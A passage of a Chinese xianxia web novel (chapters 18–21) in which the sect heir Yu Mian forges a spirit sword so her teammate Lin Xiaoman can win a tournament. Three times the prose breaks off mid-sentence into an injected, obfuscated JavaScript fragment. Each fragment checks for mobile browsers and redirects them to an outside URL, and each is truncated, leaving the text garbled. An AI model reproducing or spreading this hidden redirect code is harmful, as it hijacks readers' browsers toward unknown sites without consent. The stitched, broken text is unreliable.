林小满想法和她类似,尤宋刚来白云间哪有相熟的人愿意教他识字,便轻嗤了一声,正欲开口,喻眠直接打断。 “五局三胜,我已经点满了五次头,是尤宋赢了。”喻眠绕到两人中间去,右手牵着林小满的手,左手举起尤宋的手宣布道。 林小满:……? 这个是可以五局三胜的吗? 少门主这是不想听他们两个拌嘴随便扯得幌子吧。 喻眠的确是这么想的,不过她还是打探地向尤宋问道:“不过你说的愿意教你的人是谁啊?” 最好不要让她听到尤宋已经攀上大师姐这样的消息。 尤宋感受着手上皮肤接触的温暖,微微垂眸,心思浮动。 不过他还是咽下心中那个话到嘴边却又依旧有些茫然自己想要说什么的答案,只是仰起带着红痕的雪白下巴尖道:“白云间给我分配的舍友,方溢鸣。” “这谁?从来没有在外门听过,随便编了一个名字来糊弄我和少门主的吧。”自诩为白云间消息通的林小满开口道。 “哼。”尤宋轻哼了一声,转过那张俏丽的脸,并不想搭理林小满。 喻眠听到方溢鸣的名字眼睛微微眯起,随即又舒展开,想要作出热情好心的样子向尤宋打探方溢鸣的情况。 然这时林小满看到尤宋那副作态先耸着鼻子,呵呵开口道:“除了一张脸一无所有的妖族,我刚刚竟然能被你这样的人动摇无情道道心。真不知道少门主为什么要选你这样一个人来我们的队伍,你实力难道很强吗?” 听到林小满对于自己实力的询问,尤宋突然脸色微白,双手揪着自己衣服有些紧张,还偷偷向喻眠看了一眼,随即立刻低下头,一副做贼心虚的样子。 喻眠:……好了,现在不用你开口就知道你很弱了。 “你和方溢鸣先前认识?他会同意教你认字这种事?”她问道。 尤宋皱着一张脸,点了点头,而后又摇了摇:“先前不认识,就是因为是舍友才相识的。不过他很好,昨天就提出来可以教我学习人族文字了。” 喻眠若有所思,天道之书剧情的不可抗力吗?大师姐的两个情劫哪怕不是同一种族也会被分配到一起?是会有修罗场剧情吗? 喻眠在这里思考,尤宋又像突然想到了什么,一拍脑袋道:“对了,他听说我是喻眠姐姐你队伍里的,便托我向你问好,以及邀请你巳时去看他们队和别的队约的模拟比试。” 阳光透进屋子,在尤宋和喻眠中间打出一道分界线,喻眠站在采光较好的亮处,双环髻在阳光的照射下发棕,她默默道:“你说迟了,你看看外面的这个阳光,现在这个点想来比都比完了。” 尤宋看着喻眠在阳光下微闪的发丝,有些不好意思地扭捏道:“我给忘了嘛。” “今天约了比试的不是大师姐和李长老的队伍吗?李长老的队伍人早就确定下来了,你说的那个方溢鸣是大师姐的队伍的?他是怎么被选上的?有什么特长之处吗?”闻言八卦王林小满起了兴致,放下恩怨,看向尤宋。 尤宋轻飘飘地看了她一眼,声音放低:“想知道?” 林小满点头。 尤宋哼了一声:“就不告诉你。” 林小满不记仇,他可不是。 喻眠也是对着两人无奈道:“不管了,先过去看看,说不定还没结束。” 还是要过去看看情况的,一来可以了解选拔比试的对手水平,二来更可以看看方溢鸣有没有和大师姐眉来眼去,然后想办法在两人的感情中搅搅浑水。 喻眠在向尤宋确认了约定的地点后,领着两人走出了屋子,往目的地赶。 屋外迎面而来的是一阵扑鼻的青草味,还有夏日打在皮肤上微烈的阳光。 刚从屋子里出来,喻眠被太阳照得微微眯起圆圆的眼睛。 她用灵力为自己吹起一阵风解热,吹完她又恍然地向四处看看,生怕看到执法堂的鸟。 身后林小满提醒此处不是禁灵区可以随意用灵力吹风,喻眠有些恼地点了点头,拉着两人往目的地跑去。 由于路很长,林小满和尤宋又不会御剑,三人赶到目的地时已经有些气喘吁吁。 此时比试已经明显结束,比试台上空无一人,只是下面围了一圈弟子在热火朝天地讨论。 喻眠先弯腰扶膝平息了一会呼吸,还未好透的身子因为剧烈运动又隐隐作痛,随即扭头往向林小满喘着气道:“我去听听他们在讨论什么,看看有什么有用的信息。” 林小满点了点头。 尤宋见喻眠起身,也匆匆跟着起来,下巴红印上淌着汗珠,他模仿着喻眠的走姿也跟在后头走。 雪水浇灌后的土地微微有些湿润,喻眠走在前头,左脚脚伤还没好,在地面上留下一深一浅的脚印。 尤宋身量重,脚印也重,他低着头,对比着地面上自己留下的脚印和喻眠的,怎么也踩不出较轻的那只,可刻意放轻脚步后走得又不像喻眠了,他像邯郸学步一般越走越别扭。 不过他看着双髻少女在阳光下轻快走路的样子后,却忘了自己此时此刻分外滑稽,需要赶快改正过来,只是整个人有些呆。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818715|175441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 喻眠余光本来看到尤宋又在模仿自己还有些许生气,但发现没多久他就变成这幅可笑样子也松了脾气,只是偷偷地笑。 喻眠还未走到人群当中去,敏锐的耳朵已经让她听清了人群中的交谈声。 “方溢鸣这样给队友练武器,让队友平白获得加成,这种行为在正式比试中真的不算违规吗?” “使用法器怎么能算违规?总不能让白云间的符修剑修们像少雷寺的体修一样赤手空拳地比试。” “可是那不是他们自己的法器啊。那通体银光凛冽的宝剑,那如墨似玉的剑柄。你在白云间外门何时见过这样的好东西?白云间也就那几个拥有灵气化剑本事的剑修才有的如龙飞星似的宝剑。像方溢鸣队友今天拿的那样的剑,已经是灵气化剑之下第一人了吧,我是觉得这次比试选拔成功能参加的青山剑试炼中的青山剑,也莫过于此了。” “自己的法器?什么叫自己的法器?你的意思是说只有自己灵气化出来的武器才能叫自己的法器吗?能做到这样的又有几个人?队友既然帮练了剑,那自己善假于物使用都不行吗?” “别太慕强了,还在这里给人家洗白,真以为在这里说人家好话就会给你也练一柄剑出来呢?大家都是白云间统一派发的剑,他凭什么和大家不一样?就因为有一个会炼器的队友?” “是你自己在搞笑。统一派发的剑大伙就真的武器水平一模一样了?有的人这些年得到了多少天材地宝和灵气点自己的剑不断改造升级,又有多少人转了符修剑都要生锈了。统一派发的就武器水平一模一样了?你们在这里非要统一武器标准才是对那些一直潜心改造自己宝剑的选手的不公平。” “呵,你们在这里吵吵有什么用,最后比试让不让使用不还是看内门的意见,今天那帮围观的内门弟子看上去可没有不同意的意思,人家方溢鸣可是清渊道长队伍里的,总不能不给清渊道长面子。不同意使用方溢鸣自己锻出来的剑,维护的是比试的公正,阻碍的可是自己前程。” “阴阳怪气讽刺什么呢?清渊道长难道会因为方溢鸣是自己队伍的就偏心他吗?谁不知道她是白云间最公正的人了!她同意那也是因为的确合法合规!不同意器修炼剑和不同意符修画符有什么区别!” 人群嗡嗡嗡吵了半天,喻眠也听了半天,花了一会功夫才听懂了人群的意思。 往日白云间外门比试大家使用的武器都是相差不多的,哪怕有所不同也是来白云间后自己通过努力锻炼改造的,若是有人因为武器更好而获得胜利,也会让人心服口服。 而方溢鸣是一位白云间之前从所未有的器修,他的加入打破了原状,拥有更好的武器不是因为器主的努力,而是因为有个好队友,于是众人吵起来了。 尤宋智商低下,听了半天没有听懂,就学着喻眠的思考状,但是只学了标没学到本,娇俏的脸上看着有些笨。 喻眠突然恍然大悟,拉过尤宋的手往回走。 她的腿还没有彻底好,走起来有些一瘸一拐的。 喻眠笑得明媚,她朝林小满挥手。 林小满看着有些莫名,伸出右手指了指自己,看喻眠点头后便也试探性地回挥了一个。 喻眠笑骂道:“看到我是上下挥的了吗?是叫你过来的意思。” 林小满吐了吐舌头,小跑过去,三个围在一圈商量。 喻眠问道:“你们实力如何?具体点,不要强和弱简单的概括。林小满,你消息灵通,按照你对于此次报名人的了解,大概你们二人分别处于一个什么样的水平?” 林小满上上下下打量了一眼尤宋,说道:“我不知道他的,感觉实力很差劲啊,不过我也是中规中矩的水平吧。还是得指望三师姐您的教导。” 说完她对喻眠灿烂一笑。 尤宋看上去很委屈,不过没有顶撞,他自己默认了林小满说的自己实力平平。 他撩下头发,柔软委屈的脸颊被黑发遮住,身体瘦弱,向喻眠展示着自己听到这番话后的破碎感。 林小满见状撇开头。 喻眠视若无睹,她听明白了两人意思,笑道:“过几日比试就要开始了,尤宋现在字都认不全,教起来很是费劲,突击又很难在短短几日内将林小满你提升到一个可以在双人比斗中带飞尤宋的水平,我倒是想到一个新的好办法。” 林小满很是好奇,问道:“能有什么办法?” 喻眠说道:“我可以像方溢鸣一般给你更好的剑,借由武器短时间内拔高你的剑道水平。” 喻眠昨天在执法堂因为天道之书得到了灵气化剑的本领,虽然剑身还较为模糊,但是她可以通过几日的努力将剑凝实,再交由林小满上台比斗。 闻言林小满十分震惊,连忙摆手道:“三师姐,你第一次来外门可能不清楚,这样动用外界资源的行为是不允许的。我刚刚打听过了,方溢鸣那个情况能被内门弟子同意,那是因为他本来就是器修,他的剑是自己练的,而且他这样都有争议了,少门主你把平时的私藏给我肯定是不会被批准的。” 19. 第十九章 喻眠本还想等她灵气化剑成功再告诉林小满她这项本事,现在林小满主动提,她也便不再遮掩,略有些得意地说道:“当然不是本少主平时的私藏,而是本少主自己灵气化出来的剑,现在已经有个了剑骨雏形,想来在七日后的正式比试前能完全炼出来。” 闻言林小满顿时脸上升起错愕,随即是深重的崇敬和兴奋:“三师姐在这个年纪竟已掌握了灵气化剑之术了吗?不愧是我门少主。” 尤宋则是耳尖一动,将被阳光照得红扑扑的面颊对着喻眠,明亮的眼睛忽闪忽闪,像一次见喻眠时一样娇声娇气地开口,不过这次却比那日真诚很多,像是带着真情而非故意的作样,他尾音拉长:“好厉害啊喻眠姐姐,好佩服你呀。不过化的剑只能给林小满用嘛,我也想用,你给我用嘛~” 林小满冲着尤宋挑眉问道:“你是剑修吗就用少门主灵气化的剑?当然是只有像我这样的剑修才能使用了。” 尤宋瞬间红了眼眶,眼睛湿润润的,闷声闷气地用手指着林小满对喻眠撒娇道:“姐姐你看她,对待队友这么粗鲁,怎么能指望她双人比试时用你的剑担起团队的大梁呢,还是给我用吧,我很听话的~” 喻眠伸手拍过尤宋凑到自己面前的那张脸,嫌弃地说道:“刚变正常点,又发什么神经。好东西当然是给厉害的人用,尤宋你不服气就和林小满打一架吧。” 尤宋用手捂住被喻眠拍过的脸,心下一颤,面上有些委屈地点了点头。 喻眠见状忍不住从喉间呼出一口气,眼睛向斜上方翻了个白眼。 林小满幸灾乐祸笑了起来,伸手拉过不情不愿的尤宋的手对喻眠道:“那少门主专心灵气化剑,我们就不用教学这样的小事打扰您了。” 喻眠眨了眨眼,觉得没什么不妥便点了点头。 尤宋见双髻少女认真点头的样子忍不住嘴角微勾,不过他心中升起一些对自己为何而笑的困惑,只是很快压下,面上更显委屈可怜。 在被林小满拉走后还回头楚楚可怜地看了她一眼,长着嘴无声对她说着“我也想用灵气化剑”几个字。 喻眠装没看到,眼见林小满拽着尤宋离去,她也御剑飞回自己在外门的居所,运气循环,准备依着大师姐曾经和自己讲过的灵气化剑的诀窍在七日内将剑幻化出来。 * 第二日。 “林小满你说认真的?少门主已经拥有了可以灵气化剑的本事了?” “堂堂外门消息通能有假?这可是少门主亲口告诉我的。”林小满马尾随风飘动,她单脚踩在石头上,歪着头咬着右手上缠着的绷带,左手拉扯着绷带的另一端,对着面前围着的一堆外门弟子们开口道。 “还得是你林小满啊,历经千帆,依旧死性不改,照样把队伍里的计划往外说。” 林小满闻言有些心虚,但是听到其他人希望她继续讲下去的催促声,又忍不住讲了起来。 “少门主听说了方溢鸣给队友炼剑的事,于是便说也给我把剑,我当时还和不要她的那些私藏,跟她说得是自己队伍里练出的剑才行呢,结果她就告诉我她已经有了灵气化剑的本事了,剑已经有了个雏形,估摸着比试时就能炼出来让你们看到。” 林小满说完还有些得意:“本来还抱怨我的队友是一个没有实力的漂亮废物,现在想来要不是他那么没用,估计少门主也不会想着灵气化剑给我用,可能还是想着怎么提升他的实力来补齐队伍的短板呢。” 听故事的外门弟子总是喜欢抓重点听,听到林小满说到方溢鸣和他给队友炼剑的事便已经有人没有往下听,一堆人当场吵了起来,关于到底能不能用争论不休。 不过关于喻眠的讨论声就是出奇的统一了。 “少门主竟然能灵气化剑了吗?好厉害啊,没记错她也才无情道一阶吧,年少有为啊,和她相比起来我简直是……哎!” “别拿你碰瓷我们少门主,就你也配和少门主比?” “喂!没必要踩一捧一!” “咋又吵起来了,不过话说有没有人给我解释一下,为什么同样是把自己的武器给别人用,为什么少门主就没有争议啊?” “那可是灵气化剑啊!得对剑道领悟到什么地步的剑修才能掌握的本领啊!你要是都可以灵气化剑了还愿意参加这种为了一柄闻所未闻的青山剑而举办的试炼,谁会说你呢?” “还是不太懂,刚刚开始修仙,灵气化剑是什么很厉害的事吗?” “……简而言之你别说在少门主这个岁数了,有生之年能灵气化剑,各大宗门都能抢着你在它们宗门当个长老。” “啊?灵气化剑这么厉害的吗?” “嗯哼。白云间能有这么厉害的一个少门主可真是后继有人了,不敢想象以后白云间的未来会是多么蓬荜生辉。” …… “林小满,听你那意思少门主现在正在灵气化剑中咯。”在众人的讨论声中,有人看向林小满问道。 见林小满点头,又有一人勾上林小满的肩膀,将她整个人重重下压,调笑似地开口:“林师姐,你带我们去看看呗,我这辈子估计也就这一次机会能看到灵气化剑的现场了。” 林小满本想拒绝,伸手扒拉开肩膀上的那只手,面前众人却拿激将法激她,说:“怎么?林师姐难道又是扯谎?拿少门主做饵来哄我们听你讲八卦?” “可不是嘛,昨天就这样,硬要说什么少门主暗恋外门弟子,把我们都骗过来听她瞎扯,今天又要忽悠我们,散了散了,别顺了林小满的意。”先前问话的那人配合地捧哼道。 弟子们演得并不像,说话表情不是假惺惺就是十分夸张,嘴咧到耳朵上去,可奈何林小满就是吃这套,她涨红起整张脸,重重扯下肩膀上那只手,对众人说道:“我可没有扯谎,去就去,去看了你们就知道我林小满从来不昧着良心讲八卦。” 两人相互对视,脸上都是得逞的微笑,还有不少弟子起身拍拍裤上的灰,也准备去看热闹,于是一群人浩浩汤汤地跟着林小满去围观喻眠灵气化剑了。 * 喻眠盘坐在屋子里,闭上双目,感受体内灵台处的剑息。 窗外的阳光刺眼地打在喻眠脸上,她额前的碎发在阳光的照射下闪闪发光。 灵气运行让本就敏锐的五感更加清晰,喻眠闭着眼睛都能透过眼皮仍能看见一片极亮的阳光光芒。 她深呼出一口气,浑身上下灵气随着经脉又一次流转出灵剑,剑身相比第一次时凝实了不少,剑体上下似有灵光流转。 在剑骨已具后,灵气化剑主要讲究的是沉稳二字,在心无旁骛的情况下一次次用灵气运转铸造剑身,大约七日左右便可铸就灵剑,其讲究的是全神贯注,若是中间有一口灵气散溢便是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818716|175441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前功尽弃。 喻眠睫毛微微颤动,忽视眼前过于耀眼的阳光,定下心神铸就着自己的灵气化剑。 此时屋外突然传来一阵喧嚣的声音,听上去像是外门弟子的喧哗声。 陡然间,喻眠灵台中的灵气乱了一寸。 她皱着眉,尽力忽视着屋外的躁动,同时暗恼自己没有在安静的内门居所练剑,以至于被现下的环境影响了。 然而喧哗声并非是经过这里,反而是愈来愈近,喻眠灵台处的灵气越来越乱。 直至无法顺畅绕着剑身流转,原本已经缠上剑身的灵气也轰然散溢。 这次灵气化剑失败了。 喻眠一阵哀嚎。 她也太倒霉了吧,估计是全修仙界唯一一个因为周围环境太吵于是灵气化剑失败的人了。 不过幸好没人看见,没人看见就是不存在这事,到时候出去吹嘘就还是一次灵气化剑成功。 于是喻眠睁开了眼,然后看着面前的一堆弟子大眼瞪小眼。 喻眠:……? 她屋子里什么时候来了这么多人? 有些弟子还没搞清楚什么情况,一脸兴奋地指着地上坐着的喻眠对同伴说话,然后恶狠狠地被同伴用手肘顶了顶,警告不要张口说话。 喻眠越看越迷茫,越看越尴尬,尴尬到了极致甚至笑了一下,抬头看着为首的林小满问道:“这什么情况?” 林小满就像拉着喻眠的衣角报名那日一样,低着头,却又一言不发。 喻眠见状眼神微眯,顿时明白了是什么情况,磨牙对林小满说道:“是你把他们带来的是吧?” 林小满没有说话,但是有时候不说话就是默认。 喻眠鼓着腮帮子,让那些慌慌张张道歉的弟子离开,对着林小满说道:“你为什么要把我们队伍里的事往外说啊?你知道灵气化剑是一个什么样的事情吗?因为你的打扰现在全失败了,又得从头开始了,要是到时候没有办法在正式比试前炼出来怎么办?” 林小满低头垂眸,紧紧攥着衣角。 对着这样默不作声的人说话也是没趣,喻眠抿着唇,安静了良久后对林小满说道:“不要再这样了之后,你先回去吧,我抓紧时间练剑,看看能不能在正式比试前炼出来。” 林小满终于有了反应,抬起头颤着唇想要道歉,喻眠只是瞪着眼挥了挥手,让她也离开。 林小满带着愧疚和不安离去。 喻眠又是一轮新的灵气化剑。 她看了看窗外猛烈的阳光,叹了口气还是御剑飞回了自己内门的居所,从头炼起剑来。 六个日夜轮回后。 喻眠睁开了闭上许久的眼,在长长的一口深呼吸后,她将合上双手的缓缓张开,一柄上下灵气流光运转的宝剑渐渐浮现,随着双手拉开,那生风似仙的剑爆发出一阵强烈的光,也彻底幻化成形。 双髻少女弯了弯眼眸,亲昵地看着自己灵气化出来的剑,刚想对它深情地抒发一些自己练剑的感想,然后恍然意识到她可能还是误了时候。 看窗外这艳阳高照的天气,已经到了他们队伍比试的时候了。 喻眠慌忙御剑飞去。 不过御剑时感受着脚下自己灵气幻化出来的灵剑,她还是幸福地眯起了眼睛,忍不住违规用灵力给自己发丝吹了一个漂亮的造型,以衬自己的美剑。 20. 第二十章 * 外门,比试现场。 一位外门长老在台上宣布比试规则,声音冷清清晰:“本次外门比试的采用三局两胜的制度。 分别为:妖族弟子与妖族弟子对战,人族弟子与人族弟子对战,双人混合对战,师长本身并不上台比试。 比试顺序依照通报顺序,先妖族再人族最后双人。期待各位选手能在本次比试中取得一个圆满的表现。” 说好要给林小满剑的喻眠迟迟未来。 尤宋看向林小满,表情有些不安和焦急,烈阳照在他的身上,他的额间渗满了汗珠。 “喻眠还没有来吗?这可怎么办?我们队不会要输了吧?我本来实力就不佳,这几日除了人族文字和一些心法什么实战都没学,肯定打不过对面的啊……” 林小满的脸上也是焦急,但是队友已经如此无助,她不好再散发焦躁的情绪或是与尤宋拌嘴了,只是尽力地安抚道:“相信三师姐,相信她,她肯定会来的。” 周围有些弟子注意到二人,已经开始交谈起为什么他们的队伍里没有喻眠的踪影了,弟子们联想起林小满前几日散播的消息,还有别的弟子说的那日在喻眠外门居所的情况,便议论纷纷。 “少门主肯定生了林小满的气了,不然为什么今日不来。” “其实也有可能是因为林小满的打扰,少门主没有办法按时灵气化剑成功。” “啊,那林小满他们队伍怎么办,是不是必输无疑了,他们队那个妖族弟子看着就弱叽叽的,林小满虽然厉害,但是她今天的对手也不弱啊。少门主真是被他们两个拖累了。” …… 林小满听到了他们说的话,低下头躁红着脸,先是推卸责任式地埋怨那些好心过旺的同伴,再深深后悔着自己不听话,非控制不住自己的一张嘴随意散播消息,如果自己没有瞎传消息,兴许今天他们队就不会这样被加在火炉上讨论。 尤宋听着他们谈论喻眠气恼,俏眉横飞,想要去和那些说闲话的弟子理论,却还是被林小满拉住。 他转过头,看到林小满摇了摇头,低声说道:“不能再给少门主惹麻烦了。” “本来惹麻烦的就是你,不是你瞎传消息什么事都不会有,他们哪里会这样议论喻眠?”尤宋听到她这样说话发起了脾气,眼角飞起一片霞红,“现在事情已经发生了,你说现在怎么办?本来输了就输了,现在输了会被他们怎么非议?说大话?没有灵气化剑成功就吹嘘?林小满,这都是你的错,你说现在怎么办吧。” “看来只有一个办法了。”林小满沉默了良久后抿着唇道,“拖。拖到喻眠带着剑来,我相信她会来。” 尤宋没有反驳这个方法,但是冷哼了一声:“最好能拖到那个时候。” 这时正好叫号到喻眠组,尤宋又再次用抱怨的眼神看来林小满一眼,随后便转身上台比试。 第一场比试:妖族对战妖族。 尤宋慢悠悠地上场,尽力连上台时间都在拖延。但是对手并不给他松懈的时间,尤宋刚到台上,对手就举起剑,剑风向尤宋攻去,尤宋闪躲不急,手上衣服被划破,娇嫩的手臂皮肤上被留下一道血印子。 感受到痛楚,他这才升起了对比试的郑重,他从未这样直面过一个对手。 尤宋想要举起双手投降,又想到他现在肩负的责任,他要拖到喻眠来,不能让喻眠淘汰在第一轮,于是一咬下唇,尽力拖延着时间。 他一边接招,一边时不时向台下看去。 他内心焦急,总是希望下一次看去时便能看到喻眠的身影,希望她能带着灵气化剑登场,好让他不用在与这样强大的对手缠斗,可以即刻投降下场。 可对手的剑是那样的疾风猛烈,一剑接着一剑,无数的剑气向他撕扯而来,并不给他多次分神看台下的机会。 尤宋一次次的躲避,身体化形,却因实力太弱,依旧被打得毫无还手之力,沉沉地倒在地上,最后带着一身狼狈的血痕被判输离场。 在众人的喧嚣声中,林小满对狼狈下场的尤宋投来复杂的眼神:“没想到你真能坚持这么久。” 尤宋整个人摊在椅子上,闭上眼睛,冷哼了一声,没有理她。 心中却在想自己为何当时在台上如此期待喻眠的到来。 他来白云间的初心并非修炼大有所成,更不在乎一场比试的输赢,为什么这么希望喻眠能来,这么希望她不要在第一轮被淘汰。 仅仅是那日她在阳光下笑着说的那一句“既然参加了就要奔着赢去”吗? 众人倒是对尤宋的落败没有多少议论,毕竟林小满已经早早嘲讽过他了,他们的目光都投向林小满,毕竟大部分人心中都期待见到林小满昨日说的她拿着喻眠的灵气化剑比试的场景。 林小满硬着头皮上了。 第二场比试:人族和人族的比试中。 对面的人族弟子认识林小满,没有急着动手,先笑了笑打了一个招呼:“小满姐,听说你现在今非昔比,我这次是不是要输了。” 林小满难看地笑了笑,没有回话,她也认出了眼前人,是与自己同时期入门的师弟,两人实力相差不多,但是林小满从未在他手下赢过。 那人注意着林小满的配剑,道:“嗯?小满姐不是说这场比试要换新的配剑吗?我怎么看着像统一领取的那把?” 林小满不想回话,只想默默举起剑,但是为了拖延时间还是尽力挤出一个笑,回道:“是统一领取的那把。” 台下轩然大波。 “林小满不是说少门主也会练剑吗?就像方溢鸣一样。” “什么像方溢鸣一样?林小满说了,少门主那可是灵气化剑,方溢鸣那种炼器的器修能比吗?” “不管是像方溢鸣那样还是灵气化剑,林小满现在手上都没有东西啊,不还是当时统一派发的武器吗?” “啊。那现在这样林小满是不是要输了,这两个人打了几回她都没赢过。” “不仅是林小满要输了这么简单,林小满这场输了,少门主队伍就输满两场了,也就是说……少门主第一轮就要被淘汰了。” 话音一落,议论声停,全场寂静。 那可是喻眠,是白云间的少门主,纵使不能拔得头筹,但是也不应该第一轮就败吧。 一群听说少门主来到外门就当即去往执法堂拉横幅的人,一群哪怕说了几句嘲讽也是希望同伴不要争抢少门主队伍报名的机会的人,自然没有一个人质疑少门主,但是无数怨怼的目光朝向林小满。 责备她乱说话,责备她妨碍了喻眠获胜,责备她为什么不把加入少门主队伍的机会让给自己,要是自己一定能做的比林小满更好。 林小满顿觉芒刺在背,不敢再在原地不动,拔剑迎上对手。 两人剑与剑不断碰撞交缠撞击,对面反手剑穿刺向林小满, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818717|175441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林小满也果断闪躲离开,虎口发力一击重剑回击对方。 然后对面剑术更胜一筹,灵气流转,直接将林小满震了回去。 林小满被震退数里远,嘴中吐出一口鲜血来,她伸手擦去嘴角鲜血,抬头盯上对手。 原本与对手打得焦灼火热,难分高下,现在这一震受了伤,便天然落了下风了。 对面人依然专注非常,林小满心下紧张,忍不住往台下看去。 喻眠还没有来。 台下只有对自己的嘲讽声和鼓舞声。 嘲讽声是因为她拖累了喻眠的队伍,赛点局可能落败,前些日子还说了喻眠的那些不该随便乱说的八卦。 鼓舞声是因为希望她林小满代表着喻眠的队伍拿下第一个回合,希望她能赢下这把赛点局。 除此以外,林小满还看到了尤宋那张娇俏的脸。 他脸上写着赛后的疲惫,粉白的嘴唇一张一合,对着她说到一个字——“拖”。 林小满瞳孔猛地一缩,再次举剑迎上对手。 她这次放缓了进攻的力道,主打一个拖延,再无剑剑相撞,也无重剑回击,所有的招式全都是闪避。 对决上头差点把这事忘了,她本就不需要用重剑回击对方啊,她只需要拖到喻眠来。 她和对面实力相差不多,打不过拖延还是没有问题的。 又是一番交缠后。 对面久攻不下,缠斗许久,额上沾满汗滴,剑招都有些急切后的错乱,看着林小满的眼神有些恼:“林小满,你存心来找茬是不是?这是比试擂台,不是你随心所欲一心躲避的练武堂,快点出剑与我决斗!” 林小满不语,只是一味躲避攻击,等待着喻眠英雄降世拯救她于水火之中。 奈何水火并不想和她再耗下去了,一阵强劲的灵气爆发后,轻剑直直向林小满刺来,嘴里说道:“本还想把此招作为奇袭杀招留到后面再用,现在为了你林小满也是让我动用此招了。” 林小满第一次与对方交手碰上此招,有些始料未及,偏身闪躲,却依旧被对面刺中左臂,鲜血喷涌而出。 台下顿时爆发出轩然的欢呼声,这是今日最喧嚣的动静了。 林小满虽然左臂疼痛不断,对手虽然抓住了一个如此好的进攻时机,但是听到台下这般动静,两人都忍不住转头向台下看去。 二人不禁心想: 怎么给我欢呼的人比给少门主队伍的林小满的还多?难道我的盖世剑术终于感动了众人? 怎么我左臂断了大伙这么高兴?难道本八卦王的最大价值其实不是讲八卦,而且表演自断一臂? 待看到众人真正的欢呼对象,两人又都停了心中动静,甚至停了手中动作,被砍的人和砍人的人都齐齐盯着人群中心。 双髻少女身着红衣,眉心一点红印,脚踩一柄华光溢彩的灵剑,剑身没有任何实体,只有和少女周身光影交错的绚烂灵气。 那是——灵气化剑! 明明是一个个头都不算高的半大少女,明明是一个岁数比在场众人都要小的少女,她竟然真的做到了。 这一切竟然真的不是林小满口中博人眼球的流言。 林小满的对手顿时脸色惨白,而林小满脸上则爆发出惊人的惊喜,她看向喻眠底下脚踩的那一柄剑,高声喊道:“三师姐!你炼出来了?” 喻眠闻言抬眼看去,眉眼弯弯:“嗯。” 21. 第二十一章 林小满听到喻眠这么说,又惊又笑,阳光照射下,她眸中闪出一丝水光,她顶着左臂断臂贫嘴道:“三师姐来得恰逢时间,恰好我右臂还在,还能有手拿剑。” 喻眠只是笑,她踏下灵剑,摆手结印,控剑向台上的林小满飞去,随着动作,少女眉间红印愈发鲜亮,整个人在阳光下熠熠生辉。 对手动作跟不上喻眠灵剑飞驰速度,阻挡不及,林小满顺畅用右手接过剑。 台下爆发一阵惊呼。 尤宋看着喻眠的这个身影,顿时明白了自己这几日的情绪到底是什么。 是怦然心动。 台上攻守之势相异,有着喻眠灵气化剑的加持,林小满虽只有一臂,却对对手的进攻产生势如破竹之势。 剑身随着动作灵光四溢,仅仅三剑,两人僵持许久的比试甚至直接进入即分胜负的环节。 在最后一击决胜招下,剑身甚至顿时爆发出一股遮天蔽日的猛烈强光。 强光退散后,台上唯有狼狈灰败的对手卧倒在地,还有举着灵剑满脸得意的林小满。 “太不可思议了……”观赛众人惊诧万分,“刚刚明明两个人需要纠缠那么久,明明林小满是落入下风的。仅仅只是多了一柄剑,一柄少门主送去的灵气化剑。” 所有人的目光都看向喻眠,赞叹、惊异、敬佩、骄傲,这一刻双髻少女面对是在场全部人的嗔誉。 喻眠面对如此情况忍不住用灵力给自己吹了一个造型,发丝随风飘扬,少女更显神采飞扬。 难得有一个如此盛大的耍帅场景,必须要在众人面前装一个大的。 幸好她刚刚机智,为了充分展现她爱剑的实力,使爱剑被观赏时显得更加惊鸿游龙,她特地分了本来用以进攻的灵气放到了发光上。 果然,比正常普通攻击的样子看着更惊艳了。 这次装得很成功,下次继续让宝剑发光。 由于主持比试的长老都是第一次见识灵气化剑,她甚至呆了片刻,等众人惊叹声稍微静下一些,才咳嗽嗓子,宣布比试结束,林小满胜。 林小满在宣布声后拖着半残的左臂走下比试台,面带嬉笑地迎接众人随着她脚步的目光。 此时众人虽然眼睛跟随的是林小满,但是心中却只浮现一个名字——“喻眠”。 尤其是在第三场双人混合对战的比试后。 所有人看着林小满明明左手负伤,右手单手手持灵剑,却依然轻松一人应对两人的攻势;尤宋就站在林小满身后自在地站着,一动不动,却在不不久后被宣布了胜利的消息。 霎时间,众人羡慕的眼光都向林小满尤宋二人投去,他们心中溢满了二人的老师喻眠和她的灵气化剑。 他们忍不住想,若是当时进入喻眠队伍的是自己会怎样,若是当时敢于大胆一把推辞原本的邀约去报名会怎样,如果即使实力也像林小满一样平平却鼓起勇气当场向喻眠报名会怎样。 场下还一人用手肘顶了顶同伴,嘴里酸溜溜地说道:“你当时还觉得少门主年纪小,没有像大家说得这么厉害,现在人家稳进前三了,你有什么想说的吗。” 同伴抿着唇并不说话。 